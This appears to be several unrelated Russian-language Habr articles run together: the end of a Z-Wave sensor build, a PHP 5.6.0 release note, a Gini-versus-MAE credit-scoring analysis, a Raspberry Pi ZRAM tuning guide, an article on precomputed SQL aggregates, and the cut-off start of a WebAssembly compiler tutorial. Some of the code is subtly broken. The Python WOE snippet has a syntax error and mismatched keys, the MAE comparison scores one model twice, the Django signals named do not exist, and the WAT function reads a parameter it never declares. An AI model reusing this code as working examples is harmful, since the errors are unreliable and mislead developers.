Sensirion SHT20 работает по I2C и подключается 2 проводками. По умолчанию в библиотеке Wire.h для I2C определены пины 9 и 10.
Информацию с датчика можно посмотреть на телефоне и она используется в автоматизации, для управления увлажнителем и кондиционером.
Данные обновляются каждые 12 минут, в таком режиме датчик должен проработать более 2-х лет от одного комплекта батареек.
Гаинтовский корпус G517B 90 х 60 х 20 см специально выбирался с местом под батареечный отсек, все отлично влезло.
На разработку Z-Wave датчика температуры и влажности ушло примерно 2 часа и 3746 р. Можно еще добавить E-Ink экран и повесить на стену! | https://habr.com/ru/post/404417/ | null | ru | null |
# Вышел финальный релиз PHP 5.6.0
Сегодня, 28 августа, команда разработчиков PHP [объявила](http://php.net/archive/2014.php#id2014-08-28-1) об релизе версии 5.6.0!
**Основные нововведения PHP 5.6.0:**
* [Скалярные выражения в константах](http://php.net/migration56.new-features#migration56.new-features.const-scalar-exprs)
* [Функции с переменным числом аргументов](http://php.net/functions.arguments.php#functions.variable-arg-list) при помощи оператора `...`
* [Оператор возведения в степень](http://php.net/language.operators.arithmetic) `**`
* [Импорт функций и констант](http://php.net/migration56.new-features#migration56.new-features.use) при помощи [ключевого слова use](http://php.net/language.namespaces.importing.php)
* В ядро включен интерактивный отладчик [phpdbg](http://phpdbg.com/docs).
* Разрешено повторное использование [php://input](http://php.net/wrappers.php.php#wrappers.php.input), а $HTTP\_RAW\_POST\_DATA объявлена устаревшей
* [GMP](http://php.net/book.gmp)-объекты теперь поддерживают перегрузку операторов
* Поддержка загрузки файлов больше 2 Гб
Ознакомиться с полным списком новых функций вы можете в [руководстве по переходу](http://php.net/migration56.new-features).
**Изменения, влияющие на совместимость с предыдущими версиями:**
* При определении массива как свойства класса ключи массива не будут перезаписаны литералами массива.
* [json\_decode()](http://php.net/function.json-decode) более строг к синтаксису при разборе JSON.
* Stream-обертки при использовании SSL/TLS по-умолчанию проверяют сертификаты и имена хостов.
* [GMP](http://php.net/book.gmp)-ресурсы теперь являются объектами.
* [Mcrypt](http://php.net/book.mcrypt)-функции требуют валидные ключи и вектора.
**А также:**
* Для желающих обновиться с PHP 5.5, [полный гид миграции с подробными изменения между 5.5 и 5.6.0](http://php.net/migration56.new-features).
* Исходники для загрузки доступны [здесь](http://www.php.net/downloads.php) и [здесь (windows)](http://windows.php.net/download/).
* [ChangeLog](http://www.php.net/ChangeLog-5.php#5.6.0) с полным списком изменений.
**О PHP 5.6 на русском:**
* [Функции в PHP 5.6 — что нового?](http://habrahabr.ru/post/198980/)
* [Нововведения в PHP 5.6 beta 3](http://habrahabr.ru/post/233571/)
* [Синтаксис нововведений в PHP, краткий справочник](http://karmazzin.ru/new-php-syntax-reference#php56) | https://habr.com/ru/post/234899/ | null | ru | null |
# Доверять Джини или нет: вот в чем вопрос
Коэффициент Джини (или индекс Джини), кривая Лоренца, TPR (true positive rate) и FPR (false positive rate) – одни из самых популярных атрибутов экономических задач, решаемых с помощью машинного обучения. Все они используются для оценки качества модели и, так или иначе, связаны друг с другом. Предлагаю вспомнить, как они рассчитываются.
Допустим, необходимо спрогнозировать кредитную благонадежность заемщика. Благонадежный заемщик будет относиться к классу 1, неблагонадежный – к классу 0. Тогда существует четыре вида исхода прогнозирования:
1) True Positives - благонадежный заемщик спрогнозирован верно;
2) False Positives - благонадежный заемщик спрогнозирован неверно;
3) True Negatives – неблагонадежный заемщик спрогнозирован верно;
4) False Negatives – неблагонадежный заемщик спрогнозирован неверно.
Для нашей задачи TPR = True Positives / (True Positives + False Negatives) является уровнем доходности банка, а FPR = False Positives / (False Positives + True Negatives) – уровнем убыточности банка. При этом, чем лучше один показатель, тем хуже другой. Поэтому вводится порог срабатывания, выше которого прогнозные значения будут относиться к классу 1, ниже – к классу 0 соответственно.
Но для бизнеса мало посчитать показатели. Необходимо принимать решения, математически и статистически обоснованные. Поэтому в анализ включают ROC-кривую, площадь под кривой (AUC) и коэффициент Джини. То есть, строится график отсортированных прогнозных target-значений (рис. 1).
Затем рассчитывается площадь под кривой – площадь фигуры под линией прогнозных значений. Так мы узнаем качество работы нашего алгоритма. А уже коэффициент Джини (Gini = 2 \* AUC ROC - 1) используется как итоговая метрика для принятия решений.
Данный показатель прост в расчёте и легко интерпретируем, а значит популярен и часто используется в моделях банковского скоринга. Но достаточно ли одной метрики и можно «положиться» на Gini в управленческих вопросах? Разберемся.
С развитием экономики растёт уровень кредитования, а вместе с ним и уровень задолженности. Возникает необходимость управления кредитным риском. А значит, появляется задача улучшения модели рейтингования заемщиков.
В качестве примера возьмем датасет с наблюдениями по количественным и качественным характеристикам заемщиков на протяжении экономического цикла и более, для которых проставлен признак дефолта. В таблице ниже представлен пример маркированных данных.
| | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| ИНН | ID наблюдения | Дата | F1 | F2 | F3 | F4 | … | F17 | default | split |
| 1234567890 | 1 | 2017-30-09 | 100 000 | 89 | 0,4 | 530 | … | A | 0 | train |
| 0987654321 | 2 | 2018-09-30 | 259 058 | 56 | 0,78 | 942 | … | C | 1 | train |
| 7418529631 | 3 | 2015-12-31 | 1 000 680 | 77 | 0,63 | 5 022 | … | F | 1 | test |
| 1472583699 | 4 | 2020-05-31 | 68 012 | 69 | 0,7 | 135 | … | A | 0 | test |
Необходимо преобразовать качественные показатели. Многие модели машинного обучения работают только с числовыми факторами и не чувствительны к иным. Однако, в бизнесе не всегда важные показатели являются числовыми. Поэтому используют различные способы кодирования переменных. В данной задаче применили WOE-преобразование. Такой подход позволяет придать значимость признаку в формате числа (WOE-вес) и включить его в набор факторов для обучения модели прогнозирования. Важно, чтобы значения показателей были ранжированы, где А – лучшее значение, B – хорошее значение, С – удовлетворительное значение и т.д. WOE-веса рассчитываются как натуральный логарифм от отношения доли хороших наблюдений к доле плохих отношений. Использую следующую функцию:
```
# df - датасет; split_column – столбец который делит выборку на тестовую и обучающую; split - train/test; factor – столбец фактора.
def woe(df, split_column, split, factor):
woe = pd.concat([np.log((df[(df[split_column] == split) & (df['default'] == 0)][factor]\
.value_counts()/df[(df[split_column] == split) & (df['default'] == 0)][factor].count())\
/(df[(df[split_column] == split) & (df['default'] == 1)][factor]\
.value_counts()/df[(df[split_column] == split) & (df['default'] ==
1)][factor].count())).rename('WOE train')], axis=1)
return woe
# создадим преобразованный столбец для первого фактора
woe_F13 = {'A': woe(df, 'split', 'train', 'F13')['WOE train']['A'],
'B': woe(df, 'split', 'train', 'F13')['WOE']['B],
'C': woe(df, 'split', 'train', 'F13')['WOE']['C'],
'D': woe(df, 'split', 'train', 'F13')['WOE']['D']
}
df['F13_woe'] = df['F13'].replace(woe_F13)
```
По аналогии преобразую остальные факторы (F14 – F17).
Для прогнозирования использую логистическую модель.
Запишу факторы в отдельный лист для удобства.
```
feat_cols = [F1, F2, F3, F4, F5, F8, F9, F13_woe, F14_woe, F15_woe, F17_woe]
# разделим датасет на обучающую и тестовую выборки
df_train = df[df['split'] == 'train'][['ИНН', 'ID наблюдения', 'default', 'split'] + feat_cols].copy()
df_test = df[df['split'] == 'test'] [['ИНН', 'ID наблюдения', 'default', 'split'] + feat_cols].copy()
df_full = pd.concat([df_train, df_test], axis = 0).reset_index()
# импортируем библиотеки
from sklearn.linear_model import LogisticRegression
import statsmodels.api as sm
# строим модель
log_reg = sm.Logit(df_train['default'], df_train[feat_cols]).fit()
```
А теперь посчитаю Джини train / test для прогнозной модели.
```
from sklearn.metrics import roc_auc_score # импортируем метрику roc auc
print('Gini Train: ', 2 * roc_auc_score(df_full[df_full['split'] == 'train']['default'], log_reg.predict(df_full[df_full['split'] == 'train'][feat_cols])) - 1)
print('Gini Test : ', 2 * roc_auc_score(df_full[df_full['split'] == 'test']['default'], log_reg.predict(df_full[df_full['split'] == 'test'][feat_cols])) - 1)
```
На основе полученных результатов предварительно было принято решение доверять данной модели. Однако, в ходе анализа модели было предложено рассмотреть возможность добавления нового фактора – F18. Данный показатель является качественным, поэтому требует преобразования с помощью woe функции. Переобучили модель с учетом нового набора предикторов и посчитали Джини.
По результатам видно, что на обучающей выборке качество модели лучше с дополнительным фактором, а на тестовой – без него. Так как решение принимается исходя из большего значения по Gini test, то дополнительный фактор не будет добавлен в модель.
Выбор в пользу модели без нового фактора достаточно противоречив, поэтому рассчитаем дополнительную метрику – среднюю абсолютную ошибку. Данный показатель считается, как среднее разностей между фактическими и прогнозными значениями и не противоречит логике задачи. Для этого импортируем необходимую библиотеку и вычислим ошибку для модели с дополнительным фактором и без него.
```
from sklearn.metrics import mean_absolute_error
# MAE для модели без нового фактора
print('MAE Train:', mean_absolute_error(df_full[df_full['split'] == 'train']['default'], log_reg.predict(df_full[df_full['split'] == 'train'][feat_cols])))
print('MAE Test:', mean_absolute_error(df_full[df_full['split'] == 'test']['default'], log_reg.predict(df_full[df_full['split'] == 'test'][feat_cols])))
```
```
# MAE для модели с новым фактором
print('MAE Train модели с фактором F18:', mean_absolute_error(df_full[df_full['split'] == 'train']['default'], log_reg.predict(df_full[df_full['split'] == 'train'][feat_cols])))
print('MAE Test модели с фактором F18:', mean_absolute_error(df_full[df_full['split'] == 'test']['default'], log_reg.predict(df_full[df_full['split'] == 'test'][feat_cols])))
```
Средняя абсолютная ошибка интерпретируется как «чем меньше, тем лучше». По результатам видно, что модель с дополнительным фактором предсказала с меньшей ошибкой.
Сравним все полученные результаты метрик.
| | | | | |
| --- | --- | --- | --- | --- |
| Показатель | Split | Модель без доп. фактора (1) | Модель с доп. фактором (2) | Модель с лучшим результатом |
| Gini | Train | 0,5119 | 0,5137 | 2 |
| Test | 0,6297 | 0,6134 | 1 |
| MAE | Train | 0,3911 | 0,3882 | 2 |
| Test | 0,3953 | 0,3948 | 2 |
Из таблицы следует, что включение нового фактора F18 увеличивает прогнозную силу модели. Однако, такой вывод стал доступен после расчета дополнительной метрики. Напрашивается вывод, что коэффициента Джини недостаточно для оценки качества модели. Чтобы подтвердить гипотезу, необходимо большее количество экспериментов. А в данной статье положено начало для этого. | https://habr.com/ru/post/654907/ | null | ru | null |
# Производительность Raspberry Pi: добавляем ZRAM и изменяем параметры ядра
Пару недель назад я опубликовал [обзор Pinebook Pro](https://haydenjames.io/pinebook-pro-my-first-impressions-and-setup-tips/). Поскольку Raspberry Pi 4 тоже основана на ARM, то для неё вполне подходят некоторые из оптимизаций, упомянутых в предыдущей статье. Хотел бы поделиться этими хитростями и узнать, проявятся ли у вас такие же улучшения в производительности.
После установки Raspberry Pi в свою [домашнюю серверную](https://haydenjames.io/home-lab-beginners-guide-hardware/) я заметил, что в моменты дефицита оперативной памяти она становилась очень невосприимчивой и даже подвисала. Чтобы решить эту проблему, я добавил ZRAM и внёс несколько изменений в параметры ядра.
Активация ZRAM на Raspberry Pi
==============================
[ZRAM](https://www.kernel.org/doc/Documentation/blockdev/zram.txt) создаёт в оперативной памяти блочное хранилище с именем /dev/zram0 (или 1, 2, 3 и т. д.). Записанные туда страницы сжимаются и сохраняются в памяти. Это позволяет обеспечить очень быстрый ввод-вывод, а также освобождает память за счёт сжатия.
Raspberry Pi 4 поставляется с 1, 2, 4 или 8 ГБ оперативной памяти. Я буду использовать модель 1 ГБ, поэтому скорректируйте инструкцию в зависимости от своей модели. С 1 ГБ ZRAM дефолтный файл подкачки (медленный!) будет использоваться реже. Я использовал такой скрипт [zram-swap](https://github.com/foundObjects/zram-swap) для установки и автоматической настройки.
Инструкции приводятся в репозитории по ссылке выше. Установка:
```
git clone https://github.com/foundObjects/zram-swap.git
cd zram-swap && sudo ./install.sh
```
Если хотите отредактировать конфиг:
```
vi /etc/default/zram-swap
```
Кроме того, можно активировать ZRAM путём установки `zram-tools`. **Если используете этот метод, обязательно отредактируйте конфиг** в файле `/etc/default/zramswap`, и установите около 1 ГБ ZRAM:
```
sudo apt install zram-tools
```
После установки можете просмотреть статистику хранилища ZRAM следующей командой:
```
sudo cat /proc/swaps
Filename Type Size Used Priority
/var/swap file 102396 0 -2
/dev/zram0 partition 1185368 265472 5
pi@raspberrypi:~ $
```
Добавляем параметры ядра для лучшего использования ZRAM
=======================================================
Теперь исправим поведение системы, когда Raspberry Pi переходит на подкачку в последний момент, что часто приводит к подвисаниям. Добавим несколько строчек в файл **/etc/sysctl.conf** и перезагрузимся.
Эти строки 1) **оттянут неизбежное исчерпание памяти**, увеличив давление на кэш ядра и 2) **раньше начинают подготовку к исчерпанию памяти**, заранее инициируя подкачку. Но это будет гораздо более эффективная подкачка сжатой памяти через ZRAM!
Вот строки, которые нужно добавить в конце файла **/etc/sysctl.conf**:
```
vm.vfs_cache_pressure=500
vm.swappiness=100
vm.dirty_background_ratio=1
vm.dirty_ratio=50
```
Затем перезагружаем систему или активируем правки следующей командой:
```
sudo sysctl --system
```
**vm.vfs\_cache\_pressure=500** увеличивает давление на кэш, что увеличивает склонность ядра к рекультивации памяти, используемой для кэширования объектов каталогов и индексов. Вы будете использовать меньше памяти в течение более длительного периода времени. Резкое падение производительности сводится на нет за счёт более раннего свопинга.
**vm.swappiness=100** увеличивает параметр, насколько агрессивно ядро будет свопить страницы памяти, так как мы сначала используем ZRAM.
**vm.dirty\_background\_ratio=1 & vm.dirty\_ratio=50** — фоновые процессы начнут запись сразу по достижении лимита 1%, но система не будет принудительно выполнять синхронный ввод-вывод, пока не достигнет dirty\_ratio в 50%.
Эти четыре строки (при использовании с ZRAM) помогут улучшить производительность в том случае, если у вас неизбежно заканчивается оперативная память и начинается переход на подкачку, как у меня. Зная об этом факте, а также с учётом сжатия памяти в ZRAM в три раза лучше начать этот свопинг заранее.
Давление на кэш помогает, потому что мы фактически говорим ядру: «Эй, послушай, у меня нет дополнительной памяти, чтобы использовать её для кэша, поэтому, пожалуйста, избавься от него как можно скорее и храни только наиболее часто используемые/важные данные».
Даже при уменьшении кэширования, если со временем большая часть установленной памяти будет занята, ядро начнёт оппортунистический своп гораздо раньше, так что процессор (сжатие) и ввод/вывод подкачки не будут тянуть до последнего и задействовать все ресурсы сразу, когда уже слишком поздно. ZRAM использует немного CPU для сжатия, но в большинстве систем с малым объёмом памяти это гораздо меньше влияет на производительность, чем своп без ZRAM.
В заключение
============
Давайте ещё раз посмотрим на результат:
```
pi@raspberrypi:~ $ free -h
total used free shared buff/cache available
Mem: 926Mi 471Mi 68Mi 168Mi 385Mi 232Mi
Swap: 1.2Gi 258Mi 999Mi
pi@raspberrypi:~ $ sudo cat /proc/swaps
Filename Type Size Used Priority
/var/swap file 102396 0 -2
/dev/zram0 partition 1185368 264448 5
```
264448 в ZRAM — это почти один гигабайт несжатых данных. Всё ушло в ZRAM и ничто не попало в гораздо более медленный файл подкачки. Попробуйте сами такие настройки, они работают на всех моделях Raspberry Pi. У меня негодная подвисающая система превратилась в работоспособную и стабильную.
В ближайшем будущем я надеюсь продолжить и обновить эту статью с некоторыми результатами тестирования системы до и после установки ZRAM. Сейчас у меня просто нет на это времени. А пока не стесняйтесь выполнять свои собственные тесты и дайте знать в комментариях. Raspberry Pi 4 просто зверь с такими настройками. Наслаждайтесь!
> **По теме:**
>
> * [Производительность Linux: почему почти всегда нужно увеличивать область подкачки](https://haydenjames.io/linux-performance-almost-always-add-swap-space/) (2017)
> * [Производительность Linux: почти всегда увеличивайте область подкачки. Часть 2: ZRAM](https://haydenjames.io/linux-performance-almost-always-add-swap-part2-zram/) (2020)
> | https://habr.com/ru/post/504468/ | null | ru | null |
# Как не пересчитывать суммы и средние каждый раз
Представим, что у нас электронная платёжная система, а в ней в базе данных таблица операций. И мы хотим посчитать, например, какого размера средняя операция. Легко, вот запрос, только долго выполняется:
`> SELECT avg(amount) FROM transfer;
65.125965782378
generated in **3850** seconds`
А теперь представим, что показатель должен быть свежайшим, а записи в таблицу делаются каждую секунду, и за месяц их набираются миллионы. Или другие требования, но суть та же — агрегировать те же данные каждый раз очень затратно. Обычные базы данных не предлагают таких оптимизаций. Как быть?
 Кто катается на велосипеде, мог задаться вопросом, как же это велокомпьютер может считать среднюю скорость бесконечно долго и каждую секунду, но не хранить все значения скорости. Сейчас, конечно, в велокомпьютер войдёт карта MicroSD, но они работали так же и годы назад, когда такой памяти не было.
Всё просто: в нём хранится пройденное расстояние и время. Каждую секунду нужно просто увеличить счётчик времени и добавить к одометру пройденное расстояние. Всего 2 величины по 4 или 8 байт, всего 2 операции сложения. Чтобы вывести среднее, нужно одно разделить на другое.
#### Другие преобразования
В случае с платёжной системой, нам периодически нужно не только добавлять, но и удалять значения суммы или среднего. Это делается той же формулой, только в обратном направлении, если мы знаем, какое значение удалить.
Если не знаем d1, то ничего сделать не получится.
Если мы изменили какое-то значение, уже учтённое, делаем то же дважды: удаляем старое значение из среднего и добавляем новое.
Владеющие математикой легко разложат в подобные формулы такие статистики как дисперсия, произведение, даже произведение каждой величины на каждую (или ковариация). Где применять такие знания на практике — вот пример.
#### Анкеты
Пользователи заполняют анкету из разных вопросов, где отмечают согласие по шкале от 1 до 100 (от сильного согласия до полного несогласия). Понадобилось подсчитать разницу между 2 пользователями, то есть среднеквадратическое отклонение между ответами на соответствующие вопросы:
i и j — разные пользователи. Также нужно посчитать разницу между пользователем Х и группой, и между ним и всеми остальными пользователями. (Я намеренно отступил от терминологии матстатистики, опустив в дисперсии деление на n. Суть и сложность вычислений от этого качественно не поменялась.)
Запрос к базе данных, без оптимизации, получился такой:
```
SELECT
avg(power(my_answer.value - his_answer.value, 2))
FROM
answer AS my_answer
INNER JOIN answer AS his_answer ON my_answer.question_id = his_answer.question_id
WHERE
my_answer.user_id = X AND
his_answer.user_id = Y
```
Для нескольких пользователей нужно просто поменять условие:
```
...
WHERE
his_answer.user_id IN (Z) AND
...
```
или вообще убрать его, если сравнивать ответы со всеми. Очевидно, для этого придётся выбрать всю таблицу. Её, конечно, можно закэшировать — 50 вопросов и 10 000 анкет, то есть 500 000 строк, всего несколько мегабайт памяти. Но поскольку пользователи часто заполняют анкеты и часто смотрят результаты, не охота повторять вычислительные операции лишние разы, нужно оптимизировать.
На этой формуле в первой строке — формула дисперсии, точнее той части, которую надо оптимизировать. Xq — ответ данного пользователя (для которого считается показатель) на вопрос q, Vqu — ответ пользователя u на тот же вопрос q. Мы агрегируем по пользователям и вопросам. Если вопросов немного (m ≅ 50), то анкет много (n ≅ 10 000). Во второй строке — эта же формула, где сумма по пользователям (n, 10 000) изолирована. Сумма по q нависает над всем этим выражением, то есть данные должны быть разбиты по вопросам, и по ним нужно каждый раз агрегировать, но это всего 50 строк. А суммы по 10 000 пользователям, u, мы изолировали и можем посчитать и хранить. Если мы обозначим сумму ответов на вопрос q как Sq, а сумму квадратов как Rq, получаем очень компактную формулу:
Sq и Rq можно посчитать предварительно и сохранить в отдельной таблице.
#### Замеры
Чтобы почувствовать, насколько может система работать быстрее, я сделал такой скрипт, генерирующий случайные ответы абстрактных пользователей на абстрактные вопросы. Скрипт заполняет только одну таблицу, ответы. Другие таблицы нам не нужны.
```
import sys, sqlite3, random, itertools
USERS = xrange(100000)
QUESTIONS = xrange(50)
conn = sqlite3.connect('aggregation.sqlite3')
cur = conn.cursor()
cur.execute('drop table if exists answer');
cur.execute('create table answer (user_id integer, question_id integer, value integer)')
for u, q in itertools.product(USERS, QUESTIONS):
cur.execute('insert into answer values (?, ?, ?)', (u, q, random.randint(1, 100)))
# индексы строим уже после ввода данных,
# чтобы во время вставки лишний раз не перестраивать бинарное дерево
cur.execute('create index answer_user on answer (user_id)')
cur.execute('create index answer_question on answer (question_id)')
conn.commit()
cur.execute("""
create table answer_summary as
select question_id, sum(value) value, sum(value*value) value_square, count(*) num
from answer
group by question_id
""")
cur.execute('create unique index answer_question on answer_summary (question_id)')
```
50 ответов на 100 000 пользователей — 5 миллионов записей. На моём слабом ноутбуке (1,5 ГГц x2 и 2 ГБ памяти) таблицы строились примерно в течение получаса, и файл в зависимости от числа записей получался от десятков до сотен мегабайт.
Я сделал несколько запросов с суммами и суммами квадратов, субъективные ощущения от которых привожу ниже. Важно то, что Линукс закэшировал файл с базой данных полностью в памяти. То есть единственное что замедляли работу только вычисления: поиск по индексу и сложение.
И вот какие результаты, если мы считаем статистику различия ответов:
| | | |
| --- | --- | --- |
| | без оптимизации | с оптимизацией |
| одного ко всем | секунды | мгновенно |
| каждого ко всем | минуты | мгновенно |
#### Побочные эффекты
Если наша программа общается с БД, и нам нужна сумма по большому количеству строк (тысячи и больше), разумно дать это сделать базе, а не пересылать все данные в программу и суммировать — это увеличивает накладные расходы.
Однако если наши данные уже заранее суммированы, как в случае с анкетами из примера, то у нас есть всего 50 + 50 строк. Такие данные уже можно просто выбрать в исходном виде и обсчитывать в программе, где код будет гораздо лаконичнее.
Точно так же можно сделать и обновления сумм: не нужно писать сложные запросы UPDATE с объединением таблиц, можно выбрать данные, сложить и потом обновить при помощи INSERT OR REPLACE.
#### Где подход не работает
Вернёмся к примеру со спидометром. У нас есть среднее значение скорости в километрах в час. Мы можем линейно преобразовать его в метры в секунду. Если бы мы пересчитывали из км/ч в м/с, а только потом агрегировали, получилось бы то же самое.
Если же мы храним среднее, а хотим посчитать среднее сопротивление воздуха (пропорционально квадрату скорости), у нас бы ничего не вышло, потому что сумма квадратов величин из суммы величин не получается. Нужны исходные наблюдения.
#### Не всё так сложно
На самом деле если у вас не OLAP, а просто ORM, вам не понадобится писать простыни запросов SQL, которые потом понадобится поддерживать и — хуже всего — понимать другому человеку. Такие оптимизации можно сделать в виде связанных моделей. Вот как можно организовать модели в Django:
```
class Question(Model):
text = CharField()
class Answer(Model):
user = ForeignKey(User)
question = ForeignKey(Question)
value = IntegerField()
class AnswerAggregate(Model):
question = ForeignKey(Question, related_name='aggregates')
summ = IntegerField()
summ_of_squares = IntegerField()
answers_count = IntegerField()
def add_to_aggregates(*kwargs):
answer = kwargs['instance']
answer.question.aggregates.update(
summ=F('summ') + answer.value,
summ_of_squares=F('summ_of_squares') + answer.value ** 2,
answers_count=F('answers_count') + 1
)
def remove_from_aggregates(*kwargs):
answer = kwargs['instance']
answer.question.aggregates.update(
summ=F('summ') - answer.value,
summ_of_squares=F('summ_of_squares') - answer.value ** 2,
answers_count=F('answers_count') - 1
)
signals.post_add.connect(add_to_aggregates, model=Answer)
signals.pre_update.connect(remove_from_aggregates, model=Answer)
signals.post_update.connect(add_to_aggregates, model=Answer)
signals.pre_delete.connect(remove_from_aggregates, model=Answer)
```
Когда мы создаём ответ, мы добавляем его в разные суммы. Чтобы удалить, нужно просто вычесть значения. Чтобы изменить, мы вычитаем старое и добавляем новое значение.
В качестве увлекательного домашнего задания вы можете написать запрос, через ORM или на SQL, считающий среднеквадратическое отклонение из формулы выше.
#### Цена улучшений
Насколько целесообразно оптимизировать такие вычисления — отдельный вопрос. В примере с анкетами отчёты стали замедляться уже при паре тысяч пользователей, а с десятью тысячами каждый такой запрос выполнялся пару секунд. Такое количество данных вполне достижимо даже на небольшом проекте, а тем более на коммерческом предприятии. Обычные базы данных сегодня не делают таких оптимизаций автоматически. Оптимизации встроены в базы OLAP, но для небольшого предприятия они дóроги и громоздки. Поэтому такие небольшие оптимизации могут быть хорошим решением.
Цена за такую оптимизацию будет:
1. Вывести формулы и понимать их, для этого нужно хорошее владение математической статистикой.
2. Написать триггер или процедуру в ORM и отладить.
3. Подробно задокументировать систему, чтобы новый сотрудник после вас не начал использовать обычные агрегирующие функции.
#### Итог
Во-первых, как видно на замерах, основной тормоз в агрегатах (SUM, AVG) — вовсе не чтение диска, а именно суммирование.
Во-вторых, даже сложные агрегированные функции можно разложить и выделить в них агрегаты. Я показал как квадрат разности можно разложить на составляющие и выделить в нём сумму величин и сумму их квадратов. Суммы можно посчитать предварительно и хранить наготове.
Ресурсоёмкость отчётов уменьшается пропорционально количеству наблюдений, O(n). На системах, хранящих гигабайты данных, это может быть существенным ускорением работы, а отчёты можно ускорить с до долей секунд.
В-третьих, добавлять новые данные, править и удалять старые можно даже не пересчитывая агрегат полностью. Ресурсоёмкость пересчёта тоже уменьшится в O(n) раз.
В-четвёртых, работая с малым числом строк, то есть только с агрегатами, количество данных уменьшится, и их можно будет забирать из БД и обсчитывать прямо в коде программы, уйдя от громоздких запросов SELECT или UPDATE.
Для дочитавших до конца: листинг в самом начале статьи — вымышленный. | https://habr.com/ru/post/139622/ | null | ru | null |
# TypeScript: разрабатываем WebAssembly-компилятор
Привет, друзья!
Представляю вашему вниманию перевод [этой замечательной статьи](https://blog.scottlogic.com/2019/05/17/webassembly-compiler.html), в которой автор рассказывает о том, как разработать компилятор для [WebAssembly](https://webassembly.org/) на [TypeScript](https://www.typescriptlang.org/).
*Обратите внимание*: мой вариант компилятора можно найти в [этом репозитории](https://github.com/harryheman/Blog-Posts/tree/master/ts-wasm-compiler), а поиграть с его кодом можно в [этой песочнице](https://stackblitz.com/edit/typescript-cmumxh).
Если вам это интересно, прошу под кат.
Что такое WebAssembly и зачем он нужен?
---------------------------------------
Если вы никогда раньше не слышали о `WebAssembly` (далее — `WA` или `wasm`), рекомендую взглянуть на это [визуальное руководство от Lin Clark](https://hacks.mozilla.org/2017/02/a-cartoon-intro-to-webassembly/).
Сравнение `WA` с `JavaScript` (далее — `JS`) можно представить следующим образом:
На верхней диаграмме представлен упрощенный процесс выполнения `JS-кода` в браузере. Слева направо: код (обычно доставляемый в виде минифицированной мешанины) разбирается (парсится) в абстрактное синтаксическое дерево (Abstract Syntax Tree, AST), первоначально выполняется в интерпретаторе, затем прогрессивно оптимизируется/повторно оптимизируется до тех пор, пока не будет выполняться достаточно быстро. Современный `JS`, в конечном счете, является очень быстрым, но для его "подготовки" к выполнению требуется какое-то время.
На нижней диаграмме представлен эквивалент `WA`. Код, написанный на одном из нескольких языков (`Rust`, `C`, `C#` и др.) компилируется в `WA`, который доставляется в бинарном (двоичном) формате. Этот формат легко декодируется, компилируется и выполняется, что обеспечивает предсказуемо высокую производительность.
Наша цель
---------
Наша цель — разработать язык программирования, достаточный для создания программы для рендеринга [множества Мандельброта](https://ru.wikipedia.org/wiki/%D0%9C%D0%BD%D0%BE%D0%B6%D0%B5%D1%81%D1%82%D0%B2%D0%BE_%D0%9C%D0%B0%D0%BD%D0%B4%D0%B5%D0%BB%D1%8C%D0%B1%D1%80%D0%BE%D1%82%D0%B0).
Это будет выглядеть так:
Я назвал свой язык `chasm`. Его исходный код можно найти в [этом репозитории на GitHub](https://github.com/ColinEberhardt/chasm), а в [этой онлайн-песочнице](https://colineberhardt.github.io/chasm/) можно с ним поиграть.
Минимальный модуль wasm
-----------------------
Создадим минимальный модуль `wasm` (далее — модуль).
Определим эмиттер (emitter — часть компилятора, генерирующая инструкции для целевой системы), создающего такой модуль:
```
// https://webassembly.github.io/spec/core/binary/modules.html#binary-module
const magicModuleHeader = [0x00, 0x61, 0x73, 0x6d]
const moduleVersion = [0x01, 0x00, 0x00, 0x00]
const emiter: Emitter = () => {
const buffer = [
...magicModuleHeader,
...moduleVersion
]
return Uint8Array.from(buffer)
}
```
Эмиттер состоит из 2 частей: "магического" заголовка, представляющего собой строку `\0asm` в формате `ASCII`, и номера версии. Эти `8 байт` формируют валидный модуль. Обычно, модуль доставляется в браузер в виде файла с расширением `.wasm`.
Для выполнения модуля его необходимо инстанцировать (instantiate — создать экземпляр класса) следующим образом:
```
const wasm = emitter()
const instance = await WebAssembly.instantiate(wasm)
```
Если мы запустим этот код, то ничего не произойдет, поскольку наш модуль пока не содержит никаких инструкций.
В указанном выше репозитории имеются [коммиты для каждого шага](https://github.com/ColinEberhardt/chasm/commit/26db676f9147b16a0edff38ee20dcd636389f637), которые мы будем рассматривать в дальнейшем.
Функция для сложения чисел
--------------------------
Реализуем функцию для сложения 2 чисел с плавающей точкой/запятой (float).
`WA` — это бинарный формат, не рассчитанный на чтение людьми, поэтому был специально разработан [`текстовый формат WA`](https://developer.mozilla.org/ru/docs/WebAssembly/Understanding_the_text_format) (`WebAssembly TextFormat`, `WAT`). Вот пример модуля в текстовом формате, в котором определяется функция `$add`, принимающая 2 числа с плавающей точкой, складывающая их и возвращающая результат:
```
(module
(func $add (param f32) (result f32)
get_local 0
get_local 1
f32.add)
(export "add" (func 0))
)
```
Для компиляции `WAT` в `wasm` можно использовать `wat2wasm` из [бинарного набора инструментов для WA](https://github.com/WebAssembly/wabt).
Из приведенного выше кода можно извлечь следующую информацию:
* `WA` — это низкоуровневый язык с небольшим набором инструкций (всего их около `60`), в котором большая часть инструкций близко связана с инструкциями для центрального процессора/ЦП (`CPU`). Это облегчает процесс компиляции модулей в специфичный для процессора машинный код;
* он не имеет встроенного ввода/вывода (`input/output`, `I/O`). Не существует инструкций для вывода данных в терминал, на экран или в сеть. Поэтому для взаимодействия с внешним миром модули используют хостовое окружение (host environment), которым в случае с браузером является `JS`;
* `WA` — это стек машина (stack machine). В приведенном примере `get_local 0` получает локальную переменную (параметр функции), находящуюся на позиции с индексом 0, и помещает ее в стек. Тоже самое делает следующая инструкция (меняется только индекс). Функция `f32.add` извлекает значения из стека, складывает их и помещает результат обратно в стек;
* `WA` имеет всего лишь 4 числовых типа: 2 для целых чисел и 2 для чисел с плавающей точкой. Об этом позже...
Обновим код эмиттера.
Модули — это композиция предварительно определенных опциональных разделов (sections), каждый раздел имеет префикс — числовой идентификатор. Имеется раздел для типа, в котором закодированы сигнатуры типов, и раздел для функций, определяющий тип каждой функции. Я не буду на этом останавливаться — реализация является достаточно наивной. Вы найдете ее [здесь](https://github.com/ColinEberhardt/chasm/commits/master).
Интересным является раздел для кода. Вот как функция `add` преобразуется в бинарный формат:
```
const code = [
Opcodes.get_local, // 0x20
...unsignedLEB128(0),
Opcodes.get_local, // 0x20
...unsignedLEB128(1),
Opcodes.f32_add // 0x92
]
const functionBody = encodeVector([
...encodeVector([]), // locals
...code,
Opcodes.end // 0x0b
])
const codeSection = createSection(Section.code /* 0x0a */, encodeVector([functionBody]))
```
